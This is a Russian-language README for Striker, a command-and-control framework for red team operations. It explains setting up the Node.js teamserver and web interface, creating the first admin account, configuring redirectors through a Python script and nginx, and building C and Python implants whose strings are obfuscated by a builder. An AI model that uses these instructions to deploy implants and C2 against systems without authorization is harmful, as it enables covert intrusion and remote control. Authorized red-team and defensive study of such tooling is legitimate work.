
Многооператорная C2-инфраструктура с нативными агентами на C и Python, каналами HTTP(S), асинхронными задачами и реактивным веб-интерфейсом для операций red team.
Striker - это простая программа Command and Control (C2).


Этот проект находится в активной разработке. Большинство функций являются экспериментальными, и их будет больше. Ожидайте критических изменений.
A) Агенты
B) Бэкенд / Teamserver
C) Пользовательский интерфейс
Клонируйте репозиторий;
$ git clone https://github.com/4g3nt47/Striker.git
$ cd Striker
Кодовая база разделена на 4 независимых раздела:
Он обрабатывает всю серверную логику как для операторов, так и для агентов. Это приложение NodeJS, созданное с помощью:
express - Для REST API.socket.io - Для связи через Web Socket.mongoose - Для подключения к MongoDB.multer - Для обработки загрузки файлов.bcrypt - Для хеширования паролей пользователей.Исходный код находится в каталоге backend/. Для настройки сервера:
Striker использует MongoDB в качестве серверной базы данных для хранения всех важных данных. Вы можете установить её локально на свой компьютер, используя это руководство для дистрибутивов на основе Debian, или создать бесплатную базу данных с помощью MongoDB Atlas (платформа «База данных как услуга»).
$ cd backend
$ npm install
$ mkdir static
Вы можете использовать эту папку для размещения статических файлов на сервере. В неё также должна указывать переменная UPLOAD_LOCATION в файле .env (подробнее об этом позже), но это не обязательно. Файлы в этом каталоге будут общедоступны по пути /static/.
.env;ПРИМЕЧАНИЕ: Значения между < и > являются заполнителями. Замените их подходящими значениями (включая <>). Для полей, требующих случайные строки, вы можете легко сгенерировать их с помощью;
$ head -c 100 /dev/urandom | sha256sum
DB_URL=<your MongoDB connection URL>
HOST=<host to listen on (default: 127.0.0.1)>
PORT=<port to listen on (default: 3000)>
SECRET=<random string to use for signing session cookies and encrypting session data>
ORIGIN_URL=<full URL of the server you will be hosting the frontend at. Used to setup CORS>
REGISTRATION_KEY=<random string to use for authentication during signup>
MAX_UPLOAD_SIZE=<max file upload size, in bytes>
UPLOAD_LOCATION=<directory to store uploaded files to (default: static)>
SSL_KEY=<your SSL key file (optional)>
SSL_CERT=<your SSL cert file (optional)>
Обратите внимание, что SSL_KEY и SSL_CERT являются необязательными. Если ни один не определён, будет создан обычный HTTP-сервер. Это помогает избежать лишних накладных расходов при запуске сервера за SSL-прокси на том же хосте.
$ node index.js
[12:45:30 PM] Connecting to backend database...
[12:45:31 PM] Starting HTTP server...
[12:45:31 PM] Server started on port: 3000
Это веб-интерфейс, используемый операторами. Это одностраничное веб-приложение, написанное на Svelte, исходный код находится в каталоге frontend/.
Для настройки фронтенда:
$ cd frontend
$ npm install
.env с переменной VITE_STRIKER_API, установленной на полный URL сервера C2, настроенного выше;VITE_STRIKER_API=https://c2.striker.local
$ npm run build
Вышеуказанное скомпилирует всё в статическое веб-приложение в каталоге dist/. Вы можете переместить все файлы внутрь в корень веб-сервера или даже разместить их с помощью простого HTTP-сервера, например, на Python:
$ cd dist
$ python3 -m http.server 8000
Register.REGISTRATION_KEY в backend/.env)Это создаст обычную учётную запись. Для доступа к некоторым функциям потребуется учётная запись администратора. Ваша первая учётная запись администратора должна быть создана вручную, после чего вы сможете повышать и понижать привилегии других учётных записей на вкладке Users веб-интерфейса.
Чтобы создать первую учётную запись администратора:
users и установите поле admin целевого пользователя в true;Есть разные способы это сделать. Если у вас есть mongo в командной строке, вы можете сделать это с помощью;
$ mongo <your MongoDB connection URL>
> db.users.updateOne({username: "<your username>"}, {$set: {admin: true}})
Вы должны получить следующий ответ, если всё работает;
{ "acknowledged" : true, "matchedCount" : 1, "modifiedCount" : 1 }
Теперь вы можете войти в систему :)
A) Перенаправление через «тупой» канал
Редиректор на основе «тупого канала», написанный для Striker, доступен в redirector/redirector.py. Очевидно, это будет работать только для обычного HTTP-трафика или для HTTPS, когда проверка SSL отключена (вы можете сделать это, включив макрос INSECURE_SSL в C-агенте).
Следующий пример прослушивает порт 443 на всех интерфейсах и перенаправляет на c2.example.org на порту 443;
$ cd redirector
$ ./redirector.py 0.0.0.0:443 c2.example.org:443
[*] Starting redirector on 0.0.0.0:443...
[+] Listening for connections...
B) Nginx в качестве обратного прокси-редиректора
$ sudo apt install nginx
/etc/nginx/sites-available/striker);Заполнители;
<domain-name> - Это полное доменное имя вашего сервера, и оно должно совпадать с именем в SSL-сертификате.<ssl-cert> - Файл SSL-сертификата.<ssl-key> - Файл SSL-ключа.<c2-server> - Полный URL сервера C2, на который будут перенаправляться запросы.ПРЕДУПРЕЖДЕНИЕ: client_max_body_size должен быть таким же большим, как размер, определённый в MAX_UPLOAD_SIZE в вашем файле backend/.env, иначе загрузка больших файлов будет неудачной.
server {
listen 443 ssl;
server_name <domain-name>;
ssl_certificate <ssl-cert>;
ssl_certificate_key <ssl-key>;
client_max_body_size 100M;
access_log /var/log/nginx/striker.log;
location / {
proxy_pass <c2-server>;
proxy_redirect off;
proxy_ssl_verify off;
proxy_read_timeout 90;
proxy_http_version 1.0;
proxy_set_header Upgrade $http_upgrade;
proxy_set_header Connection "upgrade";
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
}
}
$ sudo ln -s /etc/nginx/sites-available/striker /etc/nginx/sites-enabled/striker
$ sudo service nginx restart
Ваш редиректор теперь должен быть запущен на порту 443, и его можно протестировать с помощью (предполагая, что ваше полное доменное имя — striker.local);
$ curl https://striker.local
Если всё работает, вы должны получить ответ 404, используемый бэкендом, например:
{"error":"Invalid route!"}
A) Агент на C
Это импланты, используемые Striker. Основной агент написан на C и находится в agent/C/. Он поддерживает как Linux, так и Windows. Агент для Linux внешне зависит от libcurl, который установлен на большинстве систем.
Агент для Windows не имеет внешних зависимостей. Для связи он использует wininet, который, как я считаю, доступен на всех Windows-хостах.
Сборка для Linux
Если вы находитесь на 64-битном хосте, следующее соберёт для 64-битной архитектуры;
$ cd agent/C
$ mkdir bin
$ make
Для сборки 32-битной версии на 64-битной:
$ sudo apt install gcc-multilib
$ make arch=32
Вышеуказанное компилирует всё в каталог bin/. Для создания рабочих имплантов вам понадобятся только два файла:
bin/stub - Это заглушка агента, которая будет использоваться как шаблон для генерации рабочих имплантов.bin/builder - Это то, что вы будете использовать для патча заглушки агента для создания рабочих имплантов.Сборщик принимает следующие аргументы;
$ ./bin/builder
[-] Usage: ./bin/builder <url> <auth_key> <delay> <stub> <outfile>
Где:
<url> - Сервер, на который отправлять отчёты. В идеале это должен быть редиректор, но прямой URL к серверу также подойдёт.<auth_key> - Ключ аутентификации для подключения к C2. Вы можете создать его на вкладке auth keys веб-интерфейса.<delay> - Задержка между каждым обратным вызовом, в секундах. Должна быть не менее 2, в зависимости от того, насколько шумным вы хотите его сделать.<stub> - Файл заглушки для чтения, в данном случае bin/stub.<outfile> - Имя выходного файла нового импланта.Пример;
$ ./bin/builder https://localhost:3000 979a9d5ace15653f8ffa9704611612fc 5 bin/stub bin/striker
[*] Obfuscating strings...
[+] 69 strings obfuscated :)
[*] Finding offsets of our markers...
[+] Offsets:
URL: 0x0000a2e0
OBFS Key: 0x0000a280
Auth Key: 0x0000a2a0
Delay: 0x0000a260
[*] Patching...
[+] Operation completed!
Сборка для Windows
Вам понадобится MinGW. Следующее установит 32- и 64-битные среды разработки для Windows;
$ sudo apt install mingw-w64
Сборка для 64 бит;
$ cd agent/C
$ mdkir bin
$ make target=win
Для компиляции под 32 бита;
$ make target=win arch=32
Это скомпилирует всё в каталог bin/, и у вас будут сборщик и заглушка как bin\stub.exe и bin\builder.exe соответственно.
B) Агент на Python
Striker также поставляется с автономным Python-агентом (протестирован на Python 2.7.16 и 3.7.3). Он находится в agent/python/. В этом агенте реализованы только самые основные функции. Полезен для хостов, которые не могут запустить C-агент, но имеют установленный Python.
В этом каталоге 2 файла;
stub.py - Это заглушка полезной нагрузки для передачи сборщику.builder.py - Это то, что вы будете использовать для генерации импланта.Пример использования:
$ ./builder.py
[-] Usage: builder.py <url> <auth_key> <delay> <stub> <outfile>
# The following will generate a working payload as `output.py`
$ ./builder.py http://localhost:3000 979a9d5ace15653f8ffa9704611612fc 2 stub.py output.py
[*] Loading agent stub...
[*] Writing configs...
[+] Agent built successfully: output.py
# Run it
$ python3 output.py
После выполнения вышеуказанных инструкций Striker должен быть готов к использованию. Пожалуйста, ознакомьтесь с руководством по использованию. Удачи и приятного взлома!
Если вам нравится проект, подумайте о том, чтобы помочь мне превратить кофе в код!